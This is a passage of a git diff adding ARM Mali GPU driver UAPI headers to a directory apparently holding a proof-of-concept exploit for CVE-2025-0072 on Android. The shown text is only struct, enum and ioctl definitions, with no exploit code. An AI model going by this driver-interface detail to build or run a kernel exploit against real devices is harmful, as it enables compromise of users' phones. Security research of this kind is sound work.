in the array who's error field + * to be served as the source for importing into the + * queue's error-state. + */ +struct base_kcpu_command_cqs_wait_operation_info { + __u64 objs; + __u32 nr_objs; + __u32 inherit_err_flags; +}; + +/** + * typedef basep_cqs_set_operation_op - Enumeration of CQS Set Operations + * + * @BASEP_CQS_SET_OPERATION_ADD: CQS Set operation for adding a value + * to a synchronization object + * @BASEP_CQS_SET_OPERATION_SET: CQS Set operation for setting the value + * of a synchronization object + */ +typedef enum { + BASEP_CQS_SET_OPERATION_ADD = 0, + BASEP_CQS_SET_OPERATION_SET = 1, +} basep_cqs_set_operation_op; + +struct base_cqs_set_operation_info { + __u64 addr; + __u64 val; + __u8 operation; + __u8 data_type; + __u8 padding[6]; +}; + +/** + * struct base_kcpu_command_cqs_set_operation_info - structure which contains information + * about the Timeline CQS set objects + * + * @objs: An array of Timeline CQS sets. + * @nr_objs: Number of Timeline CQS sets in the array. + * @padding: Structure padding, unused bytes. + */ +struct base_kcpu_command_cqs_set_operation_info { + __u64 objs; + __u32 nr_objs; + __u32 padding; +}; + +/** + * struct base_kcpu_command_import_info - structure which contains information + * about the imported buffer. + * + * @handle: Address of imported user buffer. + */ +struct base_kcpu_command_import_info { + __u64 handle; +}; + +/** + * struct base_kcpu_command_jit_alloc_info - structure which contains + * information about jit memory allocation. + * + * @info: An array of elements of the + * struct base_jit_alloc_info type. + * @count: The number of elements in the info array. + * @padding: Padding to a multiple of 64 bits. + */ +struct base_kcpu_command_jit_alloc_info { + __u64 info; + __u8 count; + __u8 padding[7]; +}; + +/** + * struct base_kcpu_command_jit_free_info - structure which contains + * information about jit memory which is to be freed. + * + * @ids: An array containing the JIT IDs to free. + * @count: The number of elements in the ids array. + * @padding: Padding to a multiple of 64 bits. + */ +struct base_kcpu_command_jit_free_info { + __u64 ids; + __u8 count; + __u8 padding[7]; +}; + +/** + * struct base_kcpu_command_group_suspend_info - structure which contains + * suspend buffer data captured for a suspended queue group. + * + * @buffer: Pointer to an array of elements of the type char. + * @size: Number of elements in the @buffer array. + * @group_handle: Handle to the mapping of CSG. + * @padding: padding to a multiple of 64 bits. + */ +struct base_kcpu_command_group_suspend_info { + __u64 buffer; + __u32 size; + __u8 group_handle; + __u8 padding[3]; +}; + + +/** + * struct base_kcpu_command - kcpu command. + * @type: type of the kcpu command, one enum base_kcpu_command_type + * @padding: padding to a multiple of 64 bits + * @info: structure which contains information about the kcpu command; + * actual type is determined by @p type + * @info.fence: Fence + * @info.cqs_wait: CQS wait + * @info.cqs_set: CQS set + * @info.cqs_wait_operation: CQS wait operation + * @info.cqs_set_operation: CQS set operation + * @info.import: import + * @info.jit_alloc: JIT allocation + * @info.jit_free: JIT deallocation + * @info.suspend_buf_copy: suspend buffer copy + * @info.sample_time: sample time + * @info.padding: padding + */ +struct base_kcpu_command { + __u8 type; + __u8 padding[sizeof(__u64) - sizeof(__u8)]; + union { + struct base_kcpu_command_fence_info fence; + struct base_kcpu_command_cqs_wait_info cqs_wait; + struct base_kcpu_command_cqs_set_info cqs_set; + struct base_kcpu_command_cqs_wait_operation_info cqs_wait_operation; + struct base_kcpu_command_cqs_set_operation_info cqs_set_operation; + struct base_kcpu_command_import_info import; + struct base_kcpu_command_jit_alloc_info jit_alloc; + struct base_kcpu_command_jit_free_info jit_free; + struct base_kcpu_command_group_suspend_info suspend_buf_copy; + __u64 padding[2]; /* No sub-struct should be larger */ + } info; +}; + +/** + * struct basep_cs_stream_control - CSI capabilities. + * + * @features: Features of this stream + * @padding: Padding to a multiple of 64 bits. + */ +struct basep_cs_stream_control { + __u32 features; + __u32 padding; +}; + +/** + * struct basep_cs_group_control - CSG interface capabilities. + * + * @features: Features of this group + * @stream_num: Number of streams in this group + * @suspend_size: Size in bytes of the suspend buffer for this group + * @padding: Padding to a multiple of 64 bits. + */ +struct basep_cs_group_control { + __u32 features; + __u32 stream_num; + __u32 suspend_size; + __u32 padding; +}; + +/** + * struct base_gpu_queue_group_error_fatal_payload - Unrecoverable fault + * error information associated with GPU command queue group. + * + * @sideband: Additional information of the unrecoverable fault. + * @status: Unrecoverable fault information. + * This consists of exception type (least significant byte) and + * data (remaining bytes). One example of exception type is + * CS_INVALID_INSTRUCTION (0x49). + * @padding: Padding to make multiple of 64bits + */ +struct base_gpu_queue_group_error_fatal_payload { + __u64 sideband; + __u32 status; + __u32 padding; +}; + +/** + * struct base_gpu_queue_error_fatal_payload - Unrecoverable fault + * error information related to GPU command queue. + * + * @sideband: Additional information about this unrecoverable fault. + * @status: Unrecoverable fault information. + * This consists of exception type (least significant byte) and + * data (remaining bytes). One example of exception type is + * CS_INVALID_INSTRUCTION (0x49). + * @csi_index: Index of the CSF interface the queue is bound to. + * @padding: Padding to make multiple of 64bits + */ +struct base_gpu_queue_error_fatal_payload { + __u64 sideband; + __u32 status; + __u8 csi_index; + __u8 padding[3]; +}; + +/** + * enum base_gpu_queue_group_error_type - GPU Fatal error type. + * + * @BASE_GPU_QUEUE_GROUP_ERROR_FATAL: Fatal error associated with GPU + * command queue group. + * @BASE_GPU_QUEUE_GROUP_QUEUE_ERROR_FATAL: Fatal error associated with GPU + * command queue. + * @BASE_GPU_QUEUE_GROUP_ERROR_TIMEOUT: Fatal error associated with + * progress timeout. + * @BASE_GPU_QUEUE_GROUP_ERROR_TILER_HEAP_OOM: Fatal error due to running out + * of tiler heap memory. + * @BASE_GPU_QUEUE_GROUP_ERROR_FATAL_COUNT: The number of fatal error types + * + * This type is used for &struct_base_gpu_queue_group_error.error_type. + */ +enum base_gpu_queue_group_error_type { + BASE_GPU_QUEUE_GROUP_ERROR_FATAL = 0, + BASE_GPU_QUEUE_GROUP_QUEUE_ERROR_FATAL, + BASE_GPU_QUEUE_GROUP_ERROR_TIMEOUT, + BASE_GPU_QUEUE_GROUP_ERROR_TILER_HEAP_OOM, + BASE_GPU_QUEUE_GROUP_ERROR_FATAL_COUNT +}; + +/** + * struct base_gpu_queue_group_error - Unrecoverable fault information + * @error_type: Error type of @base_gpu_queue_group_error_type + * indicating which field in union payload is filled + * @padding: Unused bytes for 64bit boundary + * @payload: Input Payload + * @payload.fatal_group: Unrecoverable fault error associated with + * GPU command queue group + * @payload.fatal_queue: Unrecoverable fault error associated with command queue + */ +struct base_gpu_queue_group_error { + __u8 error_type; + __u8 padding[7]; + union { + struct base_gpu_queue_group_error_fatal_payload fatal_group; + struct base_gpu_queue_error_fatal_payload fatal_queue; + } payload; +}; + +/** + * enum base_csf_notification_type - Notification type + * + * @BASE_CSF_NOTIFICATION_EVENT: Notification with kernel event + * @BASE_CSF_NOTIFICATION_GPU_QUEUE_GROUP_ERROR: Notification with GPU fatal + * error + * @BASE_CSF_NOTIFICATION_CPU_QUEUE_DUMP: Notification with dumping cpu + * queue + * @BASE_CSF_NOTIFICATION_COUNT: The number of notification type + * + * This type is used for &struct_base_csf_notification.type. + */ +enum base_csf_notification_type { + BASE_CSF_NOTIFICATION_EVENT = 0, + BASE_CSF_NOTIFICATION_GPU_QUEUE_GROUP_ERROR, + BASE_CSF_NOTIFICATION_CPU_QUEUE_DUMP, + BASE_CSF_NOTIFICATION_COUNT +}; + +/** + * struct base_csf_notification - Event or error notification + * + * @type: Notification type of @base_csf_notification_type + * @padding: Padding for 64bit boundary + * @payload: Input Payload + * @payload.align: To fit the struct into a 64-byte cache line + * @payload.csg_error: CSG error + * @payload.csg_error.handle: Handle of GPU command queue group associated with + * fatal error + * @payload.csg_error.padding: Padding + * @payload.csg_error.error: Unrecoverable fault error + * + */ +struct base_csf_notification { + __u8 type; + __u8 padding[7]; + union { + struct { + __u8 handle; + __u8 padding[7]; + struct base_gpu_queue_group_error error; + } csg_error; + + __u8 align[56]; + } payload; +}; + +/** + * struct mali_base_gpu_core_props - GPU core props info + * + * @product_id: Pro specific value. + * @version_status: Status of the GPU release. No defined values, but starts at + * 0 and increases by one for each release status (alpha, beta, EAC, etc.). + * 4 bit values (0-15). + * @minor_revision: Minor release number of the GPU. "P" part of an "RnPn" + * release number. + * 8 bit values (0-255). + * @major_revision: Major release number of the GPU. "R" part of an "RnPn" + * release number. + * 4 bit values (0-15). + * @padding: padding to align to 8-byte + * @gpu_freq_khz_max: The maximum GPU frequency. Reported to applications by + * clGetDeviceInfo() + * @log2_program_counter_size: Size of the shader program counter, in bits. + * @texture_features: TEXTURE_FEATURES_x registers, as exposed by the GPU. This + * is a bitpattern where a set bit indicates that the format is supported. + * Before using a texture format, it is recommended that the corresponding + * bit be checked. + * @gpu_available_memory_size: Theoretical maximum memory available to the GPU. + * It is unlikely that a client will be able to allocate all of this memory + * for their own purposes, but this at least provides an upper bound on the + * memory available to the GPU. + * This is required for OpenCL's clGetDeviceInfo() call when + * CL_DEVICE_GLOBAL_MEM_SIZE is requested, for OpenCL GPU devices. The + * client will not be expecting to allocate anywhere near this value. + */ +struct mali_base_gpu_core_props { + __u32 product_id; + __u16 version_status; + __u16 minor_revision; + __u16 major_revision; + __u16 padding; + __u32 gpu_freq_khz_max; + __u32 log2_program_counter_size; + __u32 texture_features[BASE_GPU_NUM_TEXTURE_FEATURES_REGISTERS]; + __u64 gpu_available_memory_size; +}; + +#endif /* _UAPI_BASE_CSF_KERNEL_H_ */ diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_kernel.h b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_kernel.h new file mode 100644 index 0000000..c0b4d50 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_kernel.h @@ -0,0 +1,287 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2010-2022 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +/* + * Base structures shared with the kernel. + */ + +#ifndef _UAPI_BASE_KERNEL_H_ +#define _UAPI_BASE_KERNEL_H_ + +#include + +#define BASE_MAX_COHERENT_GROUPS 16 + +/* Physical memory group ID for normal usage. + */ +#define BASE_MEM_GROUP_DEFAULT (0) + +/* Physical memory group ID for explicit SLC allocations. + */ +#define BASE_MEM_GROUP_PIXEL_SLC_EXPLICIT (2) + +/* Number of physical memory groups. + */ +#define BASE_MEM_GROUP_COUNT (16) + +/** + * typedef base_mem_alloc_flags - Memory allocation, access/hint flags. + * + * A combination of MEM_PROT/MEM_HINT flags must be passed to each allocator + * in order to determine the best cache policy. Some combinations are + * of course invalid (e.g. MEM_PROT_CPU_WR | MEM_HINT_CPU_RD), + * which defines a write-only region on the CPU side, which is + * heavily read by the CPU... + * Other flags are only meaningful to a particular allocator. + * More flags can be added to this list, as long as they don't clash + * (see BASE_MEM_FLAGS_NR_BITS for the number of the first free bit). + */ +typedef __u32 base_mem_alloc_flags; + + +struct base_mem_handle { + struct { + __u64 handle; + } basep; +}; + +/** + * enum base_mem_import_type - Memory types supported by @a base_mem_import + * + * @BASE_MEM_IMPORT_TYPE_INVALID: Invalid type + * @BASE_MEM_IMPORT_TYPE_UMM: UMM import. Handle type is a file descriptor (int) + * @BASE_MEM_IMPORT_TYPE_USER_BUFFER: User buffer import. Handle is a + * base_mem_import_user_buffer + * + * Each type defines what the supported handle type is. + * + * If any new type is added here ARM must be contacted + * to allocate a numeric value for it. + * Do not just add a new type without synchronizing with ARM + * as future releases from ARM might include other new types + * which could clash with your custom types. + */ +enum base_mem_import_type { + BASE_MEM_IMPORT_TYPE_INVALID = 0, + /* + * Import type with value 1 is deprecated. + */ + BASE_MEM_IMPORT_TYPE_UMM = 2, + BASE_MEM_IMPORT_TYPE_USER_BUFFER = 3 +}; + +/** + * struct base_mem_import_user_buffer - Handle of an imported user buffer + * + * @ptr: address of imported user buffer + * @length: length of imported user buffer in bytes + * + * This structure is used to represent a handle of an imported user buffer. + */ + +struct base_mem_import_user_buffer { + __u64 ptr; + __u64 length; +}; + +/* + * struct base_fence - Cross-device synchronisation fence. + * + * A fence is used to signal when the GPU has finished accessing a resource that + * may be shared with other devices, and also to delay work done asynchronously + * by the GPU until other devices have finished accessing a shared resource. + */ +struct base_fence { + struct { + int fd; + int stream_fd; + } basep; +}; + +/** + * struct base_mem_aliasing_info - Memory aliasing info + * + * @handle: Handle to alias, can be BASE_MEM_WRITE_ALLOC_PAGES_HANDLE + * @offset: Offset within the handle to start aliasing from, in pages. + * Not used with BASE_MEM_WRITE_ALLOC_PAGES_HANDLE. + * @length: Length to alias, in pages. For BASE_MEM_WRITE_ALLOC_PAGES_HANDLE + * specifies the number of times the special page is needed. + * + * Describes a memory handle to be aliased. + * A subset of the handle can be chosen for aliasing, given an offset and a + * length. + * A special handle BASE_MEM_WRITE_ALLOC_PAGES_HANDLE is used to represent a + * region where a special page is mapped with a write-alloc cache setup, + * typically used when the write result of the GPU isn't needed, but the GPU + * must write anyway. + * + * Offset and length are specified in pages. + * Offset must be within the size of the handle. + * Offset+length must not overrun the size of the handle. + */ +struct base_mem_aliasing_info { + struct base_mem_handle handle; + __u64 offset; + __u64 length; +}; + +/* Maximum percentage of just-in-time memory allocation trimming to perform + * on free. + */ +#define BASE_JIT_MAX_TRIM_LEVEL (100) + +/* Maximum number of concurrent just-in-time memory allocations. + */ +#define BASE_JIT_ALLOC_COUNT (255) + +/* base_jit_alloc_info in use for kernel driver versions 10.2 to early 11.5 + * + * jit_version is 1 + * + * Due to the lack of padding specified, user clients between 32 and 64-bit + * may have assumed a different size of the struct + * + * An array of structures was not supported + */ +struct base_jit_alloc_info_10_2 { + __u64 gpu_alloc_addr; + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u8 id; +}; + +/* base_jit_alloc_info introduced by kernel driver version 11.5, and in use up + * to 11.19 + * + * This structure had a number of modifications during and after kernel driver + * version 11.5, but remains size-compatible throughout its version history, and + * with earlier variants compatible with future variants by requiring + * zero-initialization to the unused space in the structure. + * + * jit_version is 2 + * + * Kernel driver version history: + * 11.5: Initial introduction with 'usage_id' and padding[5]. All padding bytes + * must be zero. Kbase minor version was not incremented, so some + * versions of 11.5 do not have this change. + * 11.5: Added 'bin_id' and 'max_allocations', replacing 2 padding bytes (Kbase + * minor version not incremented) + * 11.6: Added 'flags', replacing 1 padding byte + * 11.10: Arrays of this structure are supported + */ +struct base_jit_alloc_info_11_5 { + __u64 gpu_alloc_addr; + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u8 id; + __u8 bin_id; + __u8 max_allocations; + __u8 flags; + __u8 padding[2]; + __u16 usage_id; +}; + +/** + * struct base_jit_alloc_info - Structure which describes a JIT allocation + * request. + * @gpu_alloc_addr: The GPU virtual address to write the JIT + * allocated GPU virtual address to. + * @va_pages: The minimum number of virtual pages required. + * @commit_pages: The minimum number of physical pages which + * should back the allocation. + * @extension: Granularity of physical pages to grow the + * allocation by during a fault. + * @id: Unique ID provided by the caller, this is used + * to pair allocation and free requests. + * Zero is not a valid value. + * @bin_id: The JIT allocation bin, used in conjunction with + * @max_allocations to limit the number of each + * type of JIT allocation. + * @max_allocations: The maximum number of allocations allowed within + * the bin specified by @bin_id. Should be the same + * for all allocations within the same bin. + * @flags: flags specifying the special requirements for + * the JIT allocation, see + * %BASE_JIT_ALLOC_VALID_FLAGS + * @padding: Expansion space - should be initialised to zero + * @usage_id: A hint about which allocation should be reused. + * The kernel should attempt to use a previous + * allocation with the same usage_id + * @heap_info_gpu_addr: Pointer to an object in GPU memory describing + * the actual usage of the region. + * + * jit_version is 3. + * + * When modifications are made to this structure, it is still compatible with + * jit_version 3 when: a) the size is unchanged, and b) new members only + * replace the padding bytes. + * + * Previous jit_version history: + * jit_version == 1, refer to &base_jit_alloc_info_10_2 + * jit_version == 2, refer to &base_jit_alloc_info_11_5 + * + * Kbase version history: + * 11.20: added @heap_info_gpu_addr + */ +struct base_jit_alloc_info { + __u64 gpu_alloc_addr; + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u8 id; + __u8 bin_id; + __u8 max_allocations; + __u8 flags; + __u8 padding[2]; + __u16 usage_id; + __u64 heap_info_gpu_addr; +}; + +enum base_external_resource_access { + BASE_EXT_RES_ACCESS_SHARED, + BASE_EXT_RES_ACCESS_EXCLUSIVE +}; + +struct base_external_resource { + __u64 ext_resource; +}; + +/** + * BASE_EXT_RES_COUNT_MAX - The maximum number of external resources + * which can be mapped/unmapped in a single request. + */ +#define BASE_EXT_RES_COUNT_MAX 10 + +/** + * struct base_external_resource_list - Structure which describes a list of + * external resources. + * @count: The number of resources. + * @ext_res: Array of external resources which is + * sized at allocation time. + */ +struct base_external_resource_list { + __u64 count; + struct base_external_resource ext_res[1]; +}; + +#endif /* _UAPI_BASE_KERNEL_H_ */ diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/mali_kbase_csf_ioctl.h b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_kbase_csf_ioctl.h new file mode 100644 index 0000000..91249ca --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_kbase_csf_ioctl.h @@ -0,0 +1,556 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2020-2022 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_KBASE_CSF_IOCTL_H_ +#define _UAPI_KBASE_CSF_IOCTL_H_ + +#include +#include + +/* + * 1.0: + * - CSF IOCTL header separated from JM + * 1.1: + * - Add a new priority level BASE_QUEUE_GROUP_PRIORITY_REALTIME + * - Add ioctl 54: This controls the priority setting. + * 1.2: + * - Add new CSF GPU_FEATURES register into the property structure + * returned by KBASE_IOCTL_GET_GPUPROPS + * 1.3: + * - Add __u32 group_uid member to + * &struct_kbase_ioctl_cs_queue_group_create.out + * 1.4: + * - Replace padding in kbase_ioctl_cs_get_glb_iface with + * instr_features member of same size + * 1.5: + * - Add ioctl 40: kbase_ioctl_cs_queue_register_ex, this is a new + * queue registration call with extended format for supporting CS + * trace configurations with CSF trace_command. + * 1.6: + * - Added new HW performance counters interface to all GPUs. + * 1.7: + * - Added reserved field to QUEUE_GROUP_CREATE ioctl for future use + * 1.8: + * - Removed Kernel legacy HWC interface + * 1.9: + * - Reorganization of GPU-VA memory zones, including addition of + * FIXED_VA zone and auto-initialization of EXEC_VA zone. + * - Added new Base memory allocation interface + * 1.10: + * - First release of new HW performance counters interface. + * 1.11: + * - Dummy model (no mali) backend will now clear HWC values after each sample + * 1.12: + * - Added support for incremental rendering flag in CSG create call + * 1.13: + * - Added ioctl to query a register of USER page. + * 1.14: + * - Added support for passing down the buffer descriptor VA in tiler heap init + */ + +#define BASE_UK_VERSION_MAJOR 1 +#define BASE_UK_VERSION_MINOR 14 + +/** + * struct kbase_ioctl_version_check - Check version compatibility between + * kernel and userspace + * + * @major: Major version number + * @minor: Minor version number + */ +struct kbase_ioctl_version_check { + __u16 major; + __u16 minor; +}; + +#define KBASE_IOCTL_VERSION_CHECK_RESERVED \ + _IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check) + +/** + * struct kbase_ioctl_cs_queue_register - Register a GPU command queue with the + * base back-end + * + * @buffer_gpu_addr: GPU address of the buffer backing the queue + * @buffer_size: Size of the buffer in bytes + * @priority: Priority of the queue within a group when run within a process + * @padding: Currently unused, must be zero + * + * Note: There is an identical sub-section in kbase_ioctl_cs_queue_register_ex. + * Any change of this struct should also be mirrored to the latter. + */ +struct kbase_ioctl_cs_queue_register { + __u64 buffer_gpu_addr; + __u32 buffer_size; + __u8 priority; + __u8 padding[3]; +}; + +#define KBASE_IOCTL_CS_QUEUE_REGISTER \ + _IOW(KBASE_IOCTL_TYPE, 36, struct kbase_ioctl_cs_queue_register) + +/** + * struct kbase_ioctl_cs_queue_kick - Kick the GPU command queue group scheduler + * to notify that a queue has been updated + * + * @buffer_gpu_addr: GPU address of the buffer backing the queue + */ +struct kbase_ioctl_cs_queue_kick { + __u64 buffer_gpu_addr; +}; + +#define KBASE_IOCTL_CS_QUEUE_KICK \ + _IOW(KBASE_IOCTL_TYPE, 37, struct kbase_ioctl_cs_queue_kick) + +/** + * union kbase_ioctl_cs_queue_bind - Bind a GPU command queue to a group + * + * @in: Input parameters + * @in.buffer_gpu_addr: GPU address of the buffer backing the queue + * @in.group_handle: Handle of the group to which the queue should be bound + * @in.csi_index: Index of the CSF interface the queue should be bound to + * @in.padding: Currently unused, must be zero + * @out: Output parameters + * @out.mmap_handle: Handle to be used for creating the mapping of CS + * input/output pages + */ +union kbase_ioctl_cs_queue_bind { + struct { + __u64 buffer_gpu_addr; + __u8 group_handle; + __u8 csi_index; + __u8 padding[6]; + } in; + struct { + __u64 mmap_handle; + } out; +}; + +#define KBASE_IOCTL_CS_QUEUE_BIND \ + _IOWR(KBASE_IOCTL_TYPE, 39, union kbase_ioctl_cs_queue_bind) + +/** + * struct kbase_ioctl_cs_queue_register_ex - Register a GPU command queue with the + * base back-end in extended format, + * involving trace buffer configuration + * + * @buffer_gpu_addr: GPU address of the buffer backing the queue + * @buffer_size: Size of the buffer in bytes + * @priority: Priority of the queue within a group when run within a process + * @padding: Currently unused, must be zero + * @ex_offset_var_addr: GPU address of the trace buffer write offset variable + * @ex_buffer_base: Trace buffer GPU base address for the queue + * @ex_buffer_size: Size of the trace buffer in bytes + * @ex_event_size: Trace event write size, in log2 designation + * @ex_event_state: Trace event states configuration + * @ex_padding: Currently unused, must be zero + * + * Note: There is an identical sub-section at the start of this struct to that + * of @ref kbase_ioctl_cs_queue_register. Any change of this sub-section + * must also be mirrored to the latter. Following the said sub-section, + * the remaining fields forms the extension, marked with ex_*. + */ +struct kbase_ioctl_cs_queue_register_ex { + __u64 buffer_gpu_addr; + __u32 buffer_size; + __u8 priority; + __u8 padding[3]; + __u64 ex_offset_var_addr; + __u64 ex_buffer_base; + __u32 ex_buffer_size; + __u8 ex_event_size; + __u8 ex_event_state; + __u8 ex_padding[2]; +}; + +#define KBASE_IOCTL_CS_QUEUE_REGISTER_EX \ + _IOW(KBASE_IOCTL_TYPE, 40, struct kbase_ioctl_cs_queue_register_ex) + +/** + * struct kbase_ioctl_cs_queue_terminate - Terminate a GPU command queue + * + * @buffer_gpu_addr: GPU address of the buffer backing the queue + */ +struct kbase_ioctl_cs_queue_terminate { + __u64 buffer_gpu_addr; +}; + +#define KBASE_IOCTL_CS_QUEUE_TERMINATE \ + _IOW(KBASE_IOCTL_TYPE, 41, struct kbase_ioctl_cs_queue_terminate) + +/** + * union kbase_ioctl_cs_queue_group_create_1_6 - Create a GPU command queue + * group + * @in: Input parameters + * @in.tiler_mask: Mask of tiler endpoints the group is allowed to use. + * @in.fragment_mask: Mask of fragment endpoints the group is allowed to use. + * @in.compute_mask: Mask of compute endpoints the group is allowed to use. + * @in.cs_min: Minimum number of CSs required. + * @in.priority: Queue group's priority within a process. + * @in.tiler_max: Maximum number of tiler endpoints the group is allowed + * to use. + * @in.fragment_max: Maximum number of fragment endpoints the group is + * allowed to use. + * @in.compute_max: Maximum number of compute endpoints the group is allowed + * to use. + * @in.padding: Currently unused, must be zero + * @out: Output parameters + * @out.group_handle: Handle of a newly created queue group. + * @out.padding: Currently unused, must be zero + * @out.group_uid: UID of the queue group available to base. + */ +union kbase_ioctl_cs_queue_group_create_1_6 { + struct { + __u64 tiler_mask; + __u64 fragment_mask; + __u64 compute_mask; + __u8 cs_min; + __u8 priority; + __u8 tiler_max; + __u8 fragment_max; + __u8 compute_max; + __u8 padding[3]; + + } in; + struct { + __u8 group_handle; + __u8 padding[3]; + __u32 group_uid; + } out; +}; + +#define KBASE_IOCTL_CS_QUEUE_GROUP_CREATE_1_6 \ + _IOWR(KBASE_IOCTL_TYPE, 42, union kbase_ioctl_cs_queue_group_create_1_6) + +/** + * union kbase_ioctl_cs_queue_group_create - Create a GPU command queue group + * @in: Input parameters + * @in.tiler_mask: Mask of tiler endpoints the group is allowed to use. + * @in.fragment_mask: Mask of fragment endpoints the group is allowed to use. + * @in.compute_mask: Mask of compute endpoints the group is allowed to use. + * @in.cs_min: Minimum number of CSs required. + * @in.priority: Queue group's priority within a process. + * @in.tiler_max: Maximum number of tiler endpoints the group is allowed + * to use. + * @in.fragment_max: Maximum number of fragment endpoints the group is + * allowed to use. + * @in.compute_max: Maximum number of compute endpoints the group is allowed + * to use. + * @in.csi_handlers: Flags to signal that the application intends to use CSI + * exception handlers in some linear buffers to deal with + * the given exception types. + * @in.padding: Currently unused, must be zero + * @out: Output parameters + * @out.group_handle: Handle of a newly created queue group. + * @out.padding: Currently unused, must be zero + * @out.group_uid: UID of the queue group available to base. + */ +union kbase_ioctl_cs_queue_group_create { + struct { + __u64 tiler_mask; + __u64 fragment_mask; + __u64 compute_mask; + __u8 cs_min; + __u8 priority; + __u8 tiler_max; + __u8 fragment_max; + __u8 compute_max; + __u8 csi_handlers; + __u8 padding[2]; + /** + * @in.reserved: Reserved + */ + __u64 reserved; + } in; + struct { + __u8 group_handle; + __u8 padding[3]; + __u32 group_uid; + } out; +}; + +#define KBASE_IOCTL_CS_QUEUE_GROUP_CREATE \ + _IOWR(KBASE_IOCTL_TYPE, 58, union kbase_ioctl_cs_queue_group_create) + +/** + * struct kbase_ioctl_cs_queue_group_term - Terminate a GPU command queue group + * + * @group_handle: Handle of the queue group to be terminated + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_cs_queue_group_term { + __u8 group_handle; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_CS_QUEUE_GROUP_TERMINATE \ + _IOW(KBASE_IOCTL_TYPE, 43, struct kbase_ioctl_cs_queue_group_term) + +#define KBASE_IOCTL_CS_EVENT_SIGNAL \ + _IO(KBASE_IOCTL_TYPE, 44) + +typedef __u8 base_kcpu_queue_id; /* We support up to 256 active KCPU queues */ + +/** + * struct kbase_ioctl_kcpu_queue_new - Create a KCPU command queue + * + * @id: ID of the new command queue returned by the kernel + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_kcpu_queue_new { + base_kcpu_queue_id id; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_KCPU_QUEUE_CREATE \ + _IOR(KBASE_IOCTL_TYPE, 45, struct kbase_ioctl_kcpu_queue_new) + +/** + * struct kbase_ioctl_kcpu_queue_delete - Destroy a KCPU command queue + * + * @id: ID of the command queue to be destroyed + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_kcpu_queue_delete { + base_kcpu_queue_id id; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_KCPU_QUEUE_DELETE \ + _IOW(KBASE_IOCTL_TYPE, 46, struct kbase_ioctl_kcpu_queue_delete) + +/** + * struct kbase_ioctl_kcpu_queue_enqueue - Enqueue commands into the KCPU queue + * + * @addr: Memory address of an array of struct base_kcpu_queue_command + * @nr_commands: Number of commands in the array + * @id: kcpu queue identifier, returned by KBASE_IOCTL_KCPU_QUEUE_CREATE ioctl + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_kcpu_queue_enqueue { + __u64 addr; + __u32 nr_commands; + base_kcpu_queue_id id; + __u8 padding[3]; +}; + +#define KBASE_IOCTL_KCPU_QUEUE_ENQUEUE \ + _IOW(KBASE_IOCTL_TYPE, 47, struct kbase_ioctl_kcpu_queue_enqueue) + +/** + * union kbase_ioctl_cs_tiler_heap_init - Initialize chunked tiler memory heap + * @in: Input parameters + * @in.chunk_size: Size of each chunk. + * @in.initial_chunks: Initial number of chunks that heap will be created with. + * @in.max_chunks: Maximum number of chunks that the heap is allowed to use. + * @in.target_in_flight: Number of render-passes that the driver should attempt to + * keep in flight for which allocation of new chunks is + * allowed. + * @in.group_id: Group ID to be used for physical allocations. + * @in.padding: Padding + * @in.buf_desc_va: Buffer descriptor GPU VA for tiler heap reclaims. + * @out: Output parameters + * @out.gpu_heap_va: GPU VA (virtual address) of Heap context that was set up + * for the heap. + * @out.first_chunk_va: GPU VA of the first chunk allocated for the heap, + * actually points to the header of heap chunk and not to + * the low address of free memory in the chunk. + */ +union kbase_ioctl_cs_tiler_heap_init { + struct { + __u32 chunk_size; + __u32 initial_chunks; + __u32 max_chunks; + __u16 target_in_flight; + __u8 group_id; + __u8 padding; + __u64 buf_desc_va; + } in; + struct { + __u64 gpu_heap_va; + __u64 first_chunk_va; + } out; +}; + +#define KBASE_IOCTL_CS_TILER_HEAP_INIT \ + _IOWR(KBASE_IOCTL_TYPE, 48, union kbase_ioctl_cs_tiler_heap_init) + +/** + * union kbase_ioctl_cs_tiler_heap_init_1_13 - Initialize chunked tiler memory heap, + * earlier version upto 1.13 + * @in: Input parameters + * @in.chunk_size: Size of each chunk. + * @in.initial_chunks: Initial number of chunks that heap will be created with. + * @in.max_chunks: Maximum number of chunks that the heap is allowed to use. + * @in.target_in_flight: Number of render-passes that the driver should attempt to + * keep in flight for which allocation of new chunks is + * allowed. + * @in.group_id: Group ID to be used for physical allocations. + * @in.padding: Padding + * @out: 